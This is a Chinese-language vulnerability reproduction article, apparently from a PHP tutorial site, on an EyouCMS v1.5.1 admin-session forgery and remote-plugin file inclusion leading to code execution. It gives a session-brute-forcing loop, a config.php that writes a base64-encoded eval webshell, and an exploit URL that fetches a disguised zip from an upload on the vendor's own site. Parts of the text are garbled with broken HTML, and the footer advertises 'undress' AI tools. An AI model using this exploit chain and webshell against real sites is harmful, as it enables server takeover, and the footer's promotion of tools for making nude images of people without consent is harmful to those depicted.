0x00 漏洞簡介
讚讚網路科技EyouCMS(易優CMS)是中國讚贊網路科技公司的一套基於ThinkPHP的開源內容管理系統(CMS)。
Eyoucms v1.5.1 及以前版本存在任意使用者後台登陸與檔案包含漏洞,該漏洞使攻擊者可以透過呼叫api,在前台設定一個管理員的session,後台遠端插件下載檔案包含getshell。
0x01 影響版本
EyouCMS
##0x02 環境建置
下載官網下載V1.5.1版本
下載連線:https://qiniu.eyoucms.com/EyouCMS-V1.5.1-UTF8-SP3_142.zip
透過phpstudy整合環境簡單部署
0x03 漏洞分析
前台設定管理員session在application/api/controller/Ajax.php :215get_token
#$name
可以嘗試透過這個設定session的操作,建構出一個後台管理員的session。然後我們整理一下後台管理員的登入邏輯。在application/admin/controller/Base.php:54
if (session('?admin_id') && getTime() - intval($admin_login_expire) <p>admin_login_expire<code></code></p><p></p><p><code></code></p><p><br></p><p><code></code></p><p><br><img src="/static/imghwm/default1.png" data-src="https://img.php.cn/upload/article/000/000/164/168458488398297.jpg?x-oss-process=image/resize,p_40" class="lazy" alt="如何进行EyouCMS V1.5.1 前台getshell漏洞复现"></p><p><code></code></p><p><br><br><img src="/static/imghwm/default1.png" data-src="https://img.php.cn/upload/article/000/000/164/168458488378613.jpg?x-oss-process=image/resize,p_40" class="lazy" alt="如何进行EyouCMS V1.5.1 前台getshell漏洞复现"></p><p><img src="/static/imghwm/default1.png" data-src="https://img.php.cn/upload/article/000/000/164/168458488330190.jpg?x-oss-process=image/resize,p_40" class="lazy" alt="如何进行EyouCMS V1.5.1 前台getshell漏洞复现"></p><p>#(該session會做減法的校驗,需要滿足一定條件)<br><br><br>admin_id<img src="/static/imghwm/default1.png" data-src="https://img.php.cn/upload/article/000/000/164/168458488375781.jpg?x-oss-process=image/resize,p_40" class="lazy" alt="如何进行EyouCMS V1.5.1 前台getshell漏洞复现"></p><p>(該session有就即可,不會驗證其值)</p>設定完這兩個session後,我們繼續看到if條件判斷裡還有一個<h3> <strong></strong>#check_priv</h3><p><br>函數,跟進查看:<br><br><img src="/static/imghwm/default1.png" data-src="https://img.php.cn/upload/article/000/000/164/168458488457115.jpg?x-oss-process=image/resize,p_40" class="lazy" alt="如何进行EyouCMS V1.5.1 前台getshell漏洞复现"></p><pre class="brush:php;toolbar:false">if (0 >= intval(session('admin_info.role_id')))
admin_info.role_id
設定完三個session後,就可以進後台了,如圖:
後台遠端外掛程式下載getshell在application/admin/controller/Weapp.php:1235
也就是程式限制只能從官網下載外掛程式安裝,但這個校驗太簡單了,可以繞。
然後下文就是請求這個下載鏈接,做解壓縮操作,並包含進來config.php。
0x04 漏洞利用
while 1 : admin_login_expire = api_psot("admin_login_expire") num_10 = admin_login_expire[2:12] if is_number(num_10): print("admin_login_expire=",num_10) break while 1 : role_id = api_psot("admin_info.role_id") num_1 = role_id[2:3] if num_1 in ["a","b","c","d","e","f"]: print("role_id=",num_1) break admin_id = api_psot("admin_id") print("admin_id=",admin_id[2:-1])###運行結果:## #######
session:
再经过application/admin/controller/Base.php:58和:106的intval()的转换:
成功使用该PHPSESSID进入后台:
后台远程插件下载文件包含getshell
然后开始制作恶意压缩包,文件目录结构如下:
weappp\weapp\test\config.php
config.php
文件内容为写入webshell
<?php file_put_contents("./uploads/allimg/news_2021.php",base64_decode("PD9waHAgcGhwaW5mbygpO0BldmFsKCRfUE9TVFttb3Z4XSk7Pz4=")); ?>
压缩成weappp.zip,修改后缀为jpg
到eyoucms.com官网寻找图片上传点
比如这个提问模块的问题描述:
https://www.eyoucms.com/ask/
获取到上传的图片地址:
https://www.eyoucms.com/uploads/allimg/210420/1618908445631562.jpg
直接在浏览器中请求下载该插件:
http://192.168.58.180/login.php?m=admin&c=weapp&a=downloadInstall&url=https://www.eyoucms.com/uploads/allimg/210420/1618908445631562.jpg
此时webshell已成功写入:
访问webshell:
0x05 修复建议
升级EyouCMS至V1.5.2或以后版本。
以上是如何進行EyouCMS V1.5.1 前台getshell漏洞復現的詳細內容。更多資訊請關注PHP中文網其他相關文章!

熱AI工具

Undresser.AI Undress
人工智慧驅動的應用程序,用於創建逼真的裸體照片

AI Clothes Remover
用於從照片中去除衣服的線上人工智慧工具。

Undress AI Tool
免費脫衣圖片

Clothoff.io
AI脫衣器

AI Hentai Generator
免費產生 AI 無盡。

熱門文章

熱工具

Dreamweaver Mac版
視覺化網頁開發工具

SublimeText3 英文版
推薦:為Win版本,支援程式碼提示!

記事本++7.3.1
好用且免費的程式碼編輯器

Atom編輯器mac版下載
最受歡迎的的開源編輯器

SAP NetWeaver Server Adapter for Eclipse
將Eclipse與SAP NetWeaver應用伺服器整合。